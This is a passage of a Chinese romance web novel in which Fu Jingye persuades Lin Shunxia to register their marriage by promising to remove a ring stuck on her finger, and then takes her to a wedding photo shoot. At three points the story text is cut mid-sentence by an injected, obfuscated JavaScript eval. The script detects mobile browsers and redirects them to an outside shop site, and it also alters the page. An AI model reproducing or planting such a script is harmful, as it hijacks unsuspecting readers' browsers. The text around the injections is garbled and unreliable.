这就是2019年4月18日发生的一切,名叫林瞬夏的小蘑菇找到了自己喜欢的一片阴影。 那天,林瞬夏讲完之后,房间里安静了很久。 爸爸看了看林瞬夏床头柜上那只已经被摸得有点旧、稍微有点泛灰的企鹅玩偶,又看了看电脑屏幕上密密麻麻的文档。 “就是那只企鹅吗?”爸爸指了指床头。 林瞬夏点点头,很严谨地介绍:“嗯,它叫波波。是谢礼。” 妈妈这时候说话了,声音还有点哑,问她:“瞬夏,那天回家的时候......你怎么没和妈妈说这件事?” 林瞬夏有点不明白妈妈为什么问这个,不过还是回答了:“因为计划都执行了,没有出现什么问题。” 妈妈看着她,突然站起身,快步离开了她的房间。 林瞬夏不懂妈妈为什么突然这样,有点茫然,转过身,又看向了她的日记,尝试在日记中寻找答案。 [20190418.txt] 今天去了游乐园春游。 水杯被傅竞野拿走了(暂存)。 被迫成为导游,不仅要规划路线,还要负责安抚游客情绪。 傅竞野虽然胆子很小,但他制造的阴影面积很大,且不仅限于静态。 意外收获:一只帝企鹅宇航员玩偶,名叫波波。 注1:今日时间表(实际执行版) 注2:这可能是我人生中最好的一次春游。 7.和我去领证 林瞬夏回想完那天发生的一切,转过头,看向床头的那只企鹅。 波波已经七岁了。 它身上的银色宇航服有些氧化发黄,肚子里的填充棉也不再像以前那样蓬松饱满,变得有些塌陷,但这并不影响它依然是林瞬夏入睡的必备道具。 林瞬夏后来在维基百科上搜索过帝企鹅的相关条目。 词条显示,帝企鹅是群居动物。 在南极的暴风雪中,它们需要几百只、甚至几千只紧紧地挤在一起,通过高密度的肢体接触来共享体温,才能避免被冻死。 读到这一条的时候,林瞬夏感到了一阵窒息。 她看着波波,有点庆幸自己不是帝企鹅。 如果生存的前提是必须和几百个同类挤在一起,忍受羽毛的摩擦和体味的混合。 那她宁愿选择冻死。 林瞬夏站起身,把这只不需要拥挤也能存活的玩偶拿到了自己的电脑桌上,摆在显示器旁边。 她关掉了文档。 关于傅竞野的回忆好像随着文档的关闭,也变得模糊了一些。 林瞬夏重新戴上降噪耳机,打开了《过山车大亨》。 左手的无名指依然很痛,金属圈的存在感极强。 每当她的手指在键盘上移动,按压“W、A、S、D”键来控制视角时,硕大的钻石就会因为重力而发生偏转,或者磕碰到键盘边缘,发出“咔哒”的脆响,告诉林瞬夏,今天发生的一切并非她的幻觉。 林瞬夏不得不调整了左手的姿势,把无名指翘起来一点,以避免这种碰撞。 这种别扭的姿势让她的手背肌肉有些酸痛,但她还是坚持玩到了十点整,然后准时存档,关机,睡觉。 第二天是周六。 上午,林瞬夏一个人在家。 她从柜子里搬出了一盒还没拆封的、包含2354个颗粒的发现号航天飞机乐高。 这是她这周的大型工程。 林瞬夏没有直接开始拼搭。 她花了四十五分钟,把所有的零件包全部拆开,倒在白色的地毯上。 然后,她开始分类。 按照颜色和形状,将它们整齐地排列成一个个矩形的方阵。 分类完成后,她盘腿坐在地毯中央,开始组装。 ABS塑料积木在契合时会发出清脆的“咔嚓”声,这种严丝合缝的触感让林瞬夏感到愉悦。 但是在抓取零件时,那枚钻戒总是会碰到塑料表面,发出刺耳的刮擦声。 如果是平时,林瞬夏可能会烦躁。 但经过一晚上的磨合,她的大脑似乎已经开始被迫接受这个外挂插件。 她学会了在抓取细小零件时,下意识地调整左手无名指的角度,利用戒指的戒托卡在指缝的空隙里,虽然动作变得迟缓了一些,但不再会把零件碰乱了。 林瞬夏觉得,这也算是一种基于物理障碍的自我进化。 下午一点四十五分。 林瞬夏准时背上包,前往滨河公园。 今天没有昨天那么热,但她还是去了她常去的香樟树下。 她熟练地铺开银色的野餐垫,把四个角压平,然后跪趴在垫子上,凑近了树根的缝隙。 几颗灰白色的小蘑菇还在。 长高了大约两毫米,伞盖稍微打开了一点点,露出了下面细密的菌褶。 它们没有被路过的小狗踩扁,也没有被环卫工人铲除,安安静静地躲在阴影里,看起来过得很好。 林瞬夏松了一口气,坐回野餐垫上,开始读书。 然而,没有读多久,耳边男生的说话声又开始出现,这次对方叫了她的名字。 “林瞬夏,”声音好像从头顶传来,“我就知道你会在这里。” 林瞬夏没有理会他,然而过了片刻,书页被一只很大的手挡住了。 她茫然地抬起头,对上了傅竞野的脸。 傅竞野今天没有穿西装。 他穿了一件黑色的T恤,手臂裸露在外,肌肉线条很流畅,正半蹲在林瞬夏面前的树荫里。 林瞬夏盯着他看了一会儿,闻到了他身上很熟悉的干燥的薄荷味,又伸出手,用食指戳了戳傅竞野挡在她书页上的手背。 皮肤是热的,还有骨骼的硬度。 林瞬夏立刻往后挪动了半米,挪到了野餐垫的边缘,警觉地看着他。 傅竞野蹲在那里,任由林瞬夏碰来碰去,直到她往后躲,才挑了挑眉,语气听不出高兴还是不高兴,问:“躲什么?” 见林瞬夏不说话,他十分不见外地迈上了银色的野餐垫。 这块垫子的尺寸是150cm×200cm,对于林瞬夏一个人来说绰绰有余,还可以躺下打滚。 但傅竞野一上来,空间瞬间就变得逼仄了。 他盘腿坐了下来,就在林瞬夏的对面,长腿有些憋屈地折叠着,膝盖几乎要碰到林瞬夏的膝盖。 “挤。”林瞬夏皱起眉,又往后缩了缩,试图维护自己的领地,“你没有带垫子吗?” “没有。”傅竞野理直气壮地回答,还顺手拿过了林瞬夏手里的书,看了一眼封面:“《桥梁结构动力学》?你现在在看这个?” “还给我。”林瞬夏伸手去抢。 傅竞野把书还给了她,但在松手的时候,视线落在了她的左手上。 经过一晚上的磨合,加上刚才抢书的动作,戒指把林瞬夏无名指根部原本红肿的皮肤磨破了一点皮。 傅竞野的视线凝固了,刚才脸上散漫的、逗弄的神情消失了。 “手怎么了?” 他突然伸出手,一把抓住了林瞬夏的手腕,力道有些大,把她的手拉到了眼前。 “痛。”林瞬夏试图往回抽,“你捏到我的骨头了。” 傅竞野松了点力气,但没有放开。 他低着头,盯着被金属勒出来的红痕,还有因为充血而显得更紧的指环,眉头皱得很紧,看起来比任何时候都要凶。 “怎么弄的?”他问,声音沉沉的,“你想摘下来?” 林瞬夏觉得他的语气像是在审讯犯人。 但她还是点了点头,老实交代了自己的作案过程:“昨天晚上洗手的时候,用了洗手液,试了三次。” “但是卡住了。”林瞬夏有些委屈地看着自己的手指,“不仅没有摘下来,还导致局部组织充血水肿,现在更紧了。” “你快点帮我摘下来。” 傅竞野没有回答她的抱怨。 他盯着她红肿的手指看了两秒,突然站了起来居高临下地看着林瞬夏,说:“在这坐着,别乱跑。” 说完,他离开了树荫,走进了下午两点的烈阳里,速度很快,几步就跨过了花坛,消失在公园门口的方向。 林瞬夏独自坐在野餐垫的一角,看着空荡荡的位置,有点迟钝地伸出手,摸了摸刚才傅竞野坐过的地方。 垫子还是有温度的,但是人不见了。 林瞬夏收回手, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17508041|202526||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抱着膝盖,开始认真地思考几个问题:傅竞野去干什么了? 还会回来吗? 会不会因为看见林瞬夏受伤的手,所以良心大发,帮林瞬夏解决戒指这个麻烦? 就在林瞬夏思考的时候,傅竞野回来了。 他的手里提着一个印着绿色十字的小塑料袋,大步走到树荫下,又坐回了林瞬夏对面。 “手。” 他言简意赅地伸出手。 林瞬夏没有动。 她还在盯着傅竞野的脸发呆。 傅竞野被她看得没脾气了。 他不再等待她的反应,直接伸出手,不容拒绝地扣住了林瞬夏的手腕,把她受伤的左手拉到了自己的膝盖上。 他拧开了药膏的盖子,挤出了一点透明的凝胶,涂抹在她红肿的指根处。 药膏很凉。 尖锐的刺痛感瞬间被冰凉的触感覆盖了,变得有些麻木,却又很舒服。 傅竞野的指腹带着粗糙的薄茧,动作却放得很轻,一点一点地把药膏揉开,让它渗进那些充血的皮肤纹理里。 林瞬夏低头看着他的手指。 他的手指修长有力,指甲修剪得很整齐,掌心的温度很高,那是真实的体温。 “这两天别碰水。” 傅竞野低着头,视线专注地落在她的手上,声音很沉,带点警告:“也别再想办法把它摘下来。” “如果你再敢用蛮力硬拔,把手弄出血,”他顿了一下,抬起眼皮,凉凉地看了林瞬夏一眼,“我就去买管强力胶,把它焊死在你手上。” 林瞬夏缩了一下脖子。 她觉得傅竞野做得出来这种事。 但是这个戒指真的严重干扰了她的生活秩序。 “真的很麻烦。” 林瞬夏看着那枚亮晶晶的罪魁祸首,眉头紧紧地皱在了一起,很认真地向傅竞野投诉:“它是一个异物,破坏了我手指的平衡,增加了左手的负重。” “而且它会刮坏我的乐高零件,导致表面出现不可逆的划痕。” 林瞬夏越说越觉得委屈。 “我不想戴着它了。”她看着傅竞野,认真地表达了自己的诉求,“我想摘下来。” 傅竞野涂药的动作停住了。 他维持着握着她手的姿势,慢慢地抬起头,那双深黑色的眼睛直勾勾地盯着林瞬夏。 树荫下的空气似乎变得稀薄了一些。 傅竞野的眼神很有压迫感,看得林瞬夏感到了一阵莫名的不自在。 她下意识地想要把手抽回来。 但傅竞野没松手。 他盯着她看了几秒,忽然扯了一下嘴角,露出了一个意味不明的笑。 “行啊。”他说。 林瞬夏的眼睛瞬间亮了。 她立刻不再往回缩,而是充满期待地看着他,身体微微前倾:“真的吗?你有办法摘下来吗?” “有。” 傅竞野点了点头。 他从口袋里掏出一张纸巾,慢条斯理地擦掉手指上残留的药膏,然后重新看向林瞬夏,语气懒洋洋的,抛出了他的诱饵: “周一早上八点,你请假一早上,带上你的身份证,我在楼下等你。” “去哪?”林瞬夏茫然地问。 “民政局。” 傅竞野看着她,一字一句地说:“跟我去领证。” 他指了指那枚戒指,表情变得很认真,说:“领完证,我就帮你把它摘下来。” 8.海盐芝士味 林瞬夏皱起眉。 “领证......是什么?” 林瞬夏上一次领证,是领取“一级注册结构工程师”的执业资格证。 哪怕对于林瞬夏来说,那也是一段并不愉快的记忆:包含了长达八小时的封闭式考试、非常复杂的力学.运算、漫长的审核周期,以及不到8%的通过率。 如果要再经历一次那样高强度的考试,才能摘掉这个戒指。 林瞬夏看着自己的手指,做出了评估。 她往后缩了缩,很抗拒地拒绝了,“我不要。” “太难了。”林瞬夏说,“我没有时间复习。” 傅竞野愣了一下。 他看着林瞬夏如临大敌的表情,很快就意识到,这个笨蛋又产生了什么误解。 “不是你想的那样。” 傅竞野的视线与她平齐,语气变得非常有耐心,带着非常少见的、循循善诱的温和,像是在哄骗一只警惕的小猫钻进笼子: “那只是一个行政手续。” 他指了指把她手指勒得发紫的戒指,开始熟练地偷换概念:“就像你去设计院入职报到,或者去图书馆办借书卡一样。带着身份证去,签个字,盖个章,就结束了。” “流程大概只需要十五分钟。” 傅竞野看着她的眼睛,抛出了最后的筹码: “只要盖了这个章,这个金属圈的任务就完成了。法律程序一走完,它就没有存在的必要了。” “到时候,不用你动手。” 他的声音低沉而笃定:“我亲自帮你把它摘下来,扔进垃圾桶,或者拿去退掉,都可以。” 林瞬夏的眼睛亮了一下。 这个方案听起来非常具有诱惑力。 用一个上午的请假时间,换取手指的解放和乐高零件的安全,以及消除“戒指”这个长期负重变量。 这笔交易的ROI非常高。 但是...... 林瞬夏看着傅竞野,还是有一点点犹豫:“真的吗?盖了章就能摘?” “真的。” 傅竞野面不改色地点头。 “林瞬夏,”他问,“我是什么时候骗过你?” 林瞬夏认真地检索了一下记忆库。 虽然七年前他不告而别。 但在那之前的每一天里,他说会带她去吃冰激凌,就一定会带她去;他说会在过山车下面等她,就一步都没有离开过;他说会帮她挡住人群,她就真的没有被挤到过一次。 在日常运行中,傅竞野的信用评级是:A+。 而且,手指真的很痛。 持续不断的钝痛感正在干扰她的思考,让她无法集中精神,做出成年人的判断。 于是,林瞬夏看着面前的傅竞野,终于点了点头。 “好。” 她伸出完好的右手,像达成某种商业合作一样,轻轻握了一下傅竞野的手指:“那我周一请假。” 傅竞野看着她主动伸过来的手,怔了一瞬,随即便反手握住了。 紧紧地,不容反悔地握住了。 “一言为定。” 达成协议之后,傅竞野仍然没有离开林瞬夏的野餐垫,反倒和以前一样,在她对面闲适地坐下了,毫不生分地占据了一大半的面积。 他今天没喷定型喷雾,头发看起来和以前一样柔软,额前落下几缕,和以前很像。 林瞬夏没有忍住,又盯着他发了一会儿呆,才反应过来,伸出手推了推他的肩膀。 肌肉很硬,推不动。 “你可以走了。”她下达逐客令。 傅竞野被她推了一下,也没有生气。 他顺势抓住了她推他的那只手,在手里捏了一下,不仅没有那种被赶走的自觉,反而还得寸进尺地凑近了一点。 “干什么?” 随着距离的拉近,熟悉的、带着薄荷味的凉意瞬间更加明显了。 “林瞬夏,”他垂眼看着她,语气里带着一点似笑非笑的揶揄,故意问道,“你现在不喜欢我陪你呆在公园了吗?” “不觉得我凉快了吗?” 林瞬夏的睫毛颤了一下。 她很诚实地感受了一下。 傅竞野还是那个傅竞野。他的肩膀依然很宽,挡住了刺眼的阳光;他的体温和气味依然能有效地降低周围环境的燥热指数。 林瞬夏是喜欢的。 但是...... 林瞬夏记得以前傅竞野说过的话。 那是2019年6月13日,确定恋爱关系的第四天,傅竞野第一次跟着她来到了公园,并且非常自觉地坐到了她的野餐垫上,占据了超过二分之一的面积。 当时的林瞬夏还没有适应这种距离,她觉得拥挤,于是伸出脚,轻轻踢了踢傅竞野的小腿,试图把他赶到草地上去。 “这是单人垫。”她当时是这么说的,“很挤。你坐外面。” 但十八岁的傅竞野没有动。 他还很不讲理地伸手握住了她的脚踝,把她往自己身边拖了拖,非要让她挨着自己。 “不行,”他给林瞬夏制定了新的规则,“谈恋爱的时候,这种垫子就是双人的。” “只有男朋友才可以坐进来。” “别人不行。” 但是傅竞野已经和林瞬夏分手了,他已经不是林瞬夏的男朋友,也不能再坐这张垫子了。 所以她很坚决地说:“你走吧!” 傅竞野不笑了。 他盯着林瞬夏看了一会儿,捏得她的手有点疼,然后终于松开了她。 “行。” 他站起身,拍了拍裤子上并不存在的灰尘,高大的身影重新暴露在烈日下。 但他没有离开公园,指了指不远处的凉亭。 “那我像你爸爸妈妈一样,”傅竞野俯下身,看着她说,“去那里等你。” “等你看完了书,来叫我。” “怎么样?” 只要不占用她的野餐垫,不破坏她的阅读秩序,傅竞野在哪里都可以。 经过评估,林瞬夏点了点头。 “好。”她同意了这个方案。 傅竞野信守承诺,移动到了距离香樟树直线距离大约三十五米的凉亭里。 但是林瞬夏发现,自己的阅读效率还是显著地下滑了。 原本只需要两分钟就能读完的一页关于“风致振动”的概述,她花了五分钟,视线还是停留在第一行。 因为她的余光总是控制不住地飘向那个凉亭。 凉亭里很热闹。 除了傅竞野,还有两个穿着白色背心的大爷正在石桌上却下象棋,旁边围着几个摇着蒲扇观战的老奶奶。 林瞬夏总是非常恐惧这样的社交场合,都是陌生人,背景音嘈杂,她肯定会站在最外围,怀疑自己会爆炸。 但傅竞野和她是不一样的。 他坐在凉亭外侧的长条木椅上,长腿随意地伸展着,一只手搭在膝盖上,另一只手拿着手机,姿态懒散又放松。 并没有刻意去做什么,却好像天生就拥有一种能够融入任何环境、并且迅速成为焦点的能力。 林瞬夏看见那个下棋的大爷转过头,举着棋子,似乎在问傅竞野的意见。 傅竞野并没有因为对方是陌生人而感到拘谨,也没有因为环境简陋而露出嫌弃。 他稍微直起身,低头看了一眼棋局,然后伸手指了指棋盘上的某个位置,随口说了句什么。 大爷立刻笑了起来,脸上的褶子都舒展开了,甚至还伸手拍了拍傅竞野的手臂。 旁边摇着蒲扇的老奶奶也凑了过去,扇子带起的风吹动了傅竞野额前的头发。 无论是在十八岁的教室,还是在二十五岁的公园凉亭,他好像总是拥有奇怪的特权——世界会自动为他让出位置,或者友好地接纳他。 所有人都喜欢他。 人类、老师、下棋的大爷。 林瞬夏远远地看着他。 她低下头,看了一眼自己面前这块界限分明的银色野餐垫,还有躲在树根缝隙里的蘑菇,有了一种不太舒服的感觉。 胸口那里有点闷,像是有什么东西堵住了气管,可能是因为今天公园里的花粉浓度太高了。 让她觉得呼吸有点困难。 林瞬夏低下头,坚持着坐到了四点三十。 分针与时针刚刚从表盘下方重合,林瞬夏就立刻合上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17508042|202526||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了书。 她站起身,动作利落地收好了野餐垫,拍掉裤脚上沾到的两片香樟树叶,然后背起包,朝着凉亭的方向走去。 她要去叫傅竞野离开了。 凉亭里,傅竞野靠在椅子上,正在闭目养神,也不知道是不是真的睡着了。 林瞬夏戳了戳他的胳膊。 他身后的大爷说:“小傅,你女朋友来找你了!” 林瞬夏刚要纠正大爷的措辞,傅竞野就睁开了眼。 他站起身,转身对大爷说:“好,那我先带我女朋友回去了。” 林瞬夏皱了皱眉,还没来得及说话,他已经拉着林瞬夏的手臂走出了好远。 傅竞野走出了一些,就松开了林瞬夏的手臂,问她:“你现在是不是要去便利店。” 没能纠正错误,林瞬夏有点不高兴,现在她已经戴上了降噪耳机,没有理他,步行到了公寓楼下的便利店,走了进去。 冷气扑面而来,她熟门熟路地走到冰柜前,伸手拉开玻璃门,准确地拿起了那盒曲奇香奶冰淇淋。 就在她的手指碰到包装袋的瞬间,另一只手伸了过来,按住了她的手背。 林瞬夏抬起头。 傅竞野站在她身后,眉头微微皱着,视线落在她手里的冰淇淋上,说:“林瞬夏,今天别吃这个了。” 他的视线在琳琅满目的冰柜里扫了一圈,然后伸出手,从中拿了一支包装看起来很陌生的雪糕。 淡绿色的包装纸,上面画着几颗海盐粒和一片芝士。 “吃这个。” 他把那支陌生的雪糕塞进林瞬夏手里,看着她,语气非常笃定,就像七年前他在便利店里递给她第一盒冰淇淋时一样:“海盐芝士味的。你肯定会喜欢。” 林瞬夏盯着他手里的雪糕,出于对这一习惯的原始开发者的盲目信任,拿着那支淡绿色的雪糕,去结了账。 走出便利店,她坐在花坛边,撕开了包装袋。 雪糕是乳白色的,并没有那种令她害怕的鲜艳色素。 她试探性地咬了一小口。 冰凉的触感在舌尖化开,首先是淡淡的咸味,紧接着是浓郁的奶香,并没有曲奇那种需要咀嚼的颗粒感,口感非常绵密、顺滑。 味道很稳定。 ......确实很不错。 她安静地、一口接一口地吃掉了这支完全陌生的雪糕。 夕阳正在下沉,便利店门口的路灯还没有亮起,光线处于一种暧昧不明的灰蓝色调中。 空气里依然弥漫着属于曼海夏天的、发酵般的闷热,但在她吞咽冰凉物体的时候,世界仿佛短暂地降温了。 傅竞野坐在她身侧。 他没有看手机,长腿随意地伸展着,占据了花坛旁一大块人行道,侧着头,视线毫无遮掩地落在林瞬夏的脸上,看着她把腮帮子微微鼓起,把最后一点奶白色的冰渍也卷进了嘴里,还意犹未尽地抿了一下湿润的嘴唇。 傅竞野那双总是显得有些倦懒的眼睛里,慢慢浮起一点笑意。 “怎么样?”他明知故问。 林瞬夏手里捏着剩下的木棍,转过头,看着他。 傅竞野背着光,轮廓边缘被夕阳镀上一层毛茸茸的金边,看起来没有那么具有攻击性了。 林瞬夏比对了一下两款冰激凌,很诚实地说:“这款雪糕的配比很合理。氯化钠中和了糖分的甜腻,乳化剂的含量应该比曲奇款更高,所以口感更细腻。” 她停顿了一下,做出了结论:“好吃。比曲奇的好吃。” 傅竞野哼笑了一声,显露出些许自得。 他伸出手,从她手里抽走那根光秃秃的木棍,随手投进旁边的垃圾桶,然后拍了拍手。 并没有立刻站起来,他微微倾身,凑近了林瞬夏。 “林瞬夏,除了这个,”他盯着她的眼睛,声音放慢了一些,“我还答应过你,要带你去吃店里现烤的曲奇。” “刚出炉的那种,还是热的,巧克力豆是流心的。” 他的视线在她的脸上巡视,不放过她任何一点细微的表情变化,语气变得有些低沉: “我答应过你的。” “你这么聪明,肯定记得,对吗?” 9.去拍结婚照 记忆不受控制地向前回溯,涌回十八岁的那个夏天。 2019年8月29日。 也是这样闷热的黄昏,蝉鸣很吵。 傅竞野对林瞬夏说:“下周带你去。” 回家之后,林瞬夏信以为真。 她拿出一支红色的马克笔,在日历上的9月5日画了一个很圆的圈,满怀期待地等待着那个充满了黄油香气和热巧克力流心的下午。 但是没有下周。 许诺的人消失得毫无预兆,连一句体面的再见都没有留下,只给她留下了一个空荡荡的、无法兑现的承诺,和漫长的、没有回音的等待。 路灯次第亮起。 一种陈旧的、细密的酸涩感从胃里翻涌上来,堵在胸口,让她觉得呼吸有些困难。 林瞬夏垂下眼睫,看着路灯下自己被拉长的影子,很快地说:“我不记得了。” 傅竞野没有立刻说话。 他维持着微微倾身的姿势,深黑色的眼睛在昏暗的光线下显得格外锐利,视线落在她紧抿的唇角上。 沉默在两人之间蔓延,只有远处偶尔传来的车鸣声。 过了片刻,傅竞野直起身子,阴影稍稍退去了一些。 “不记得也没关系。” 他的语气并没有因为被拒绝而产生波澜,依然是懒洋洋的调子。 “我现在再说一遍。” 他看着她,目光专注,把曾经失效的邀请重新放在了她面前:“你想去吗?” 林瞬夏的手指蜷缩了一下,关于刚出炉曲奇的感官记忆不合时宜地苏醒了。 她记得傅竞野曾经的描述。 “边缘是酥脆的,咬开的时候会有声音。里面的巧克力豆是半融化的状态,热的,流动的,会烫到舌尖,但是很甜。” 具体的、充满了热度和甜味的想象,在充满了潮湿水汽的闷热夏夜里,具有致命的诱惑力。 林瞬夏咽了一口唾沫。 她抬起头,看了一眼傅竞野,又迅速移开视线,盯着路边的一株杂草,在心里进行了一场毫无悬念的拉锯战。 最后,她听见自己很小声、很没骨气地说:“......好的。” 傅竞野重新笑了,眼尾微微上挑。 “好。”他说,“下次带你去。” 并没有具体的时间,听起来像一个随时会破碎的气泡。 林瞬夏站起来,闷声说:“我要回家了。” 傅竞野没有再拦她。 他站在路灯的光晕里。 昏黄的光线从头顶垂直浇落,被高挺的眉骨截断,在他深陷的眼窝处投下两片浓重的阴影,鼻梁的线条笔直,一直延伸到薄而锋利的唇珠,像是一把开了刃的刀,破开了周围黏腻昏暗的夜色,显得很清晰。 他姿态闲适地抬起手,随意地摆了摆。 “周一见。” 然后转身,向着另一个方向走去。 周日,林瞬夏在家搭了一天的乐高玩具,完成了发现号的主体。 当然,她没有忘记向领导请假。 林瞬夏拿过手机,点开了那个蓝色的办公软件。 新建申请。 请假类型:事假。 开始时间:周一08:30。 结束时间:周一12:00。 请假事由:去民政局领证。 发送。 流程走完,林瞬夏放下了手机,准备继续拼搭航天飞机的尾翼。 但这仅仅过了三十秒,手机震动了一下。 审批通过的绿勾亮起。紧接着,许总的消息跳了出来,后面还跟着三个感叹号。 [小林,恭喜啊!!!一上午够吗?不用这么赶,给你批一天吧,好好庆祝一下。] 林瞬夏看着屏幕,眨了眨眼。 她有点不明白。 根据傅竞野提供的信息,核心流程只需要十五分钟。即使加上路程耗时和可能的排队冗余,三个半小时也足以覆盖所有变量。 如果请一天假,就会导致下午的工作量积压,进而破坏她周二的排期表。 于是,她按照社交礼仪回复道: [不用了。] [三个半小时足够完成手续。谢谢许总。] [/抱拳//抱拳//抱拳/] 2026年7月13日,周一上午8点,林瞬夏按照傅竞野的要求,带上了身份证,在楼下等待他。 黑色的迈巴赫很快停在了路边,一位戴着白手套的司机为她拉开了后座的车门。 他又穿了一身深色西装,看起来比上次还要正式,像是会出现在国际会议里的那一种。 林瞬夏坐进去,关上门,隔绝了外面的蝉鸣。 车子平稳地启动。 “先去拍照。”傅竞野侧过头,视线扫过她素净的脸,宣布了第一项议程。 林瞬夏正在系安全带的手顿了一下。 她转过头,有些困惑地看着他,问:“为什么要拍照?” 傅竞野看着她的眼睛,耐心地解释:“两个人的合影是登记的必要材料。” 原来是必要流程。 林瞬夏点了点头,说:“好。” 车子停在了一家位于闹市区,却十分隐蔽的独栋建筑前。 这里没有招牌,看起来不像照相馆,更像是一个私密的画廊。 工作人员似乎早就在等候,并没有多余的寒暄,直接把林瞬夏带进了化妆间。 镜前的灯光很亮,刺得林瞬夏微微眯起了眼睛。 当化妆师拿着粉扑靠近的时候,林瞬夏下意识地向后缩了缩,背脊抵住了椅背。 她不喜欢这种感觉。 粉扑拍打在脸颊上,触感干燥且闷,像是细微的粉尘堵住了毛孔,让皮肤无法呼吸。刷毛扫过眼皮,带来一阵令人不适的、细密的痒意。 这种异物入侵的感觉让林瞬夏非常不适。 她抓紧了椅子的扶手,身体僵硬得像一块石头,强迫自己忍耐这种类似医疗检查般的折磨。 好在过程并不长。 化妆结束后,工作人员递给她一件白衬衫。 “林小姐,请换上这件。” 林瞬夏有些抗拒地接过来。 她讨厌新衣服,因为新衣服通常意味着硬挺的领口、粗糙的缝线,以及最让她无法忍受的东西——标签。 隐藏在领口或者侧腰的标签,总是像锯齿一样摩擦着她的皮肤,对林瞬夏来说,细微的摩擦会被放大数倍,变成难以忽视的刺痛。 她抱着衣服走进更衣室,迟疑地展开。 指尖触碰到面料的瞬间,林瞬夏愣了一下。 触感像水一样凉滑,面料有着极高的支数,极其柔软,几乎感觉不到织物的纹理。 她翻开领口,又检查了侧腰。 没有标签。 甚至连缝线都被细致地处理过,完全平整。 林瞬夏穿上它,扣好扣子。 衬衫轻柔地贴合在皮肤上,没有摩擦,没有刺痛,没有任何异物感。 林瞬夏也就不再焦虑了。 傅竞野已经换好了衣服。 他站在摄影灯的阴影边缘,手里捏着一瓶刚拧开的水,正侧身听摄影师说话。 深色西装被剥离了,取而代之的是一件质地挺括的白衬衫。领口的第一颗扣子没系,露出一截冷白的颈窝和喉结利落的线条。 原本属于上位者的陌生感消退了些许,取而代之的是林瞬夏熟悉的清爽与锐利。 这是林瞬夏记忆深处,十八岁的傅竞野才会有的质感。 听到动静,他转过头。 视线落在林瞬夏身上的那一瞬,他没有立刻说话,目光沉沉地、从上而下地扫视过她。 视线是有重量的,像某种实质性的抚摸,刮过她平整的领口和被布料包裹的肩膀。 并没有给出任何评价。 傅竞野只是垂下眼,手指收紧,慢条斯理地拧上了手中矿泉水瓶的盖子,然后随手将水瓶搁在一旁的台面上。 “过来吧。”他说。 林瞬夏走了过去。 摄影师是个留着长发的男人,正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17508043|202526||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在调整灯光的角度,指挥道:“两位请坐。” 背景板是一块巨大的红色幕布。 林瞬夏坐了下来。 身侧的软垫陷下去一块,傅竞野在她身边坐下。 长凳的空间并不宽裕,为了将两个成年人同时纳入取景框,物理距离被压缩到了极致。 他的手臂贴上了她的手臂。 隔着两层高支数的衬衫面料,热源源源不断地渗透过来。属于傅竞野的体温,像是一股看不见的电流,瞬间击穿了布料的阻隔,沿着皮肤神经末梢疯狂攀升。 林瞬夏的呼吸屏住了。 她不仅感觉到了热,甚至能感觉到他肌肉极其细微的紧绷感。 过分紧密的接触让林瞬夏的脊背瞬间僵硬成了一块木板,双手规规矩矩地放在膝盖上,指尖却不受控制地蜷缩起来,死死抠住了裤子的布料,试图以此来抵御那种被入侵的慌乱。 “放松点。”摄影师在镜头后面喊道,“新娘笑一笑,别这么严肃。” 林瞬夏牵动嘴角,肌肉记忆调动出一个标准的社交微笑。 “稍微靠近一点。”摄影师并不满意,继续指挥,“头往中间靠,亲密一点。” 林瞬夏犹豫着,身体依然僵硬在原地。 就在这时,一只手伸了过来。 带着干燥的温度,自然而强势地搭在了她的肩膀上。 傅竞野的手指修长有力,指腹轻轻扣住了她单薄的肩头,掌心的热度瞬间透过衣料烙印在皮肤上。 林瞬夏感觉肩膀一沉。 下一秒,一股温热的重量压了过来。傅竞野微微倾身,头向她这边偏了偏。 发梢擦过她的额角,带来一阵轻微的痒意。 “别紧张。” 他的声音压得很低,混着呼吸里的热气,贴着她的耳廓响起。声带的震动仿佛通过骨传导,直接共鸣在她的鼓膜上。 “很快就好。” 在那只手的掌控下,林瞬夏被迫向他靠拢。 两人的肩膀紧紧抵在一起,没有任何缝隙,像是要把两具身体强行拼接成一个整体。 摄影灯在这一刻亮起。 强光炸开,像是一道白色的闪电,瞬间剥夺了视觉。林瞬夏下意识地眯了一下眼睛,在那一片眩晕的白光中,世界变得失真而虚幻。 唯有肩膀上那只手的力度,和耳边沉稳的呼吸声,是清晰且具体的。 “咔嚓。” 快门按下。 那一瞬间被定格。 在红色背景里,两个穿着白衬衫的人并肩而坐。 男人并没有看镜头,头微微向旁边倾斜,呈现出一种极其微妙的、占有欲十足的保护姿态。 而女生坐得笔直,表情有些懵懂和紧张,像是一只被捕获的小动物,被身边的人牢牢地圈在领地里。 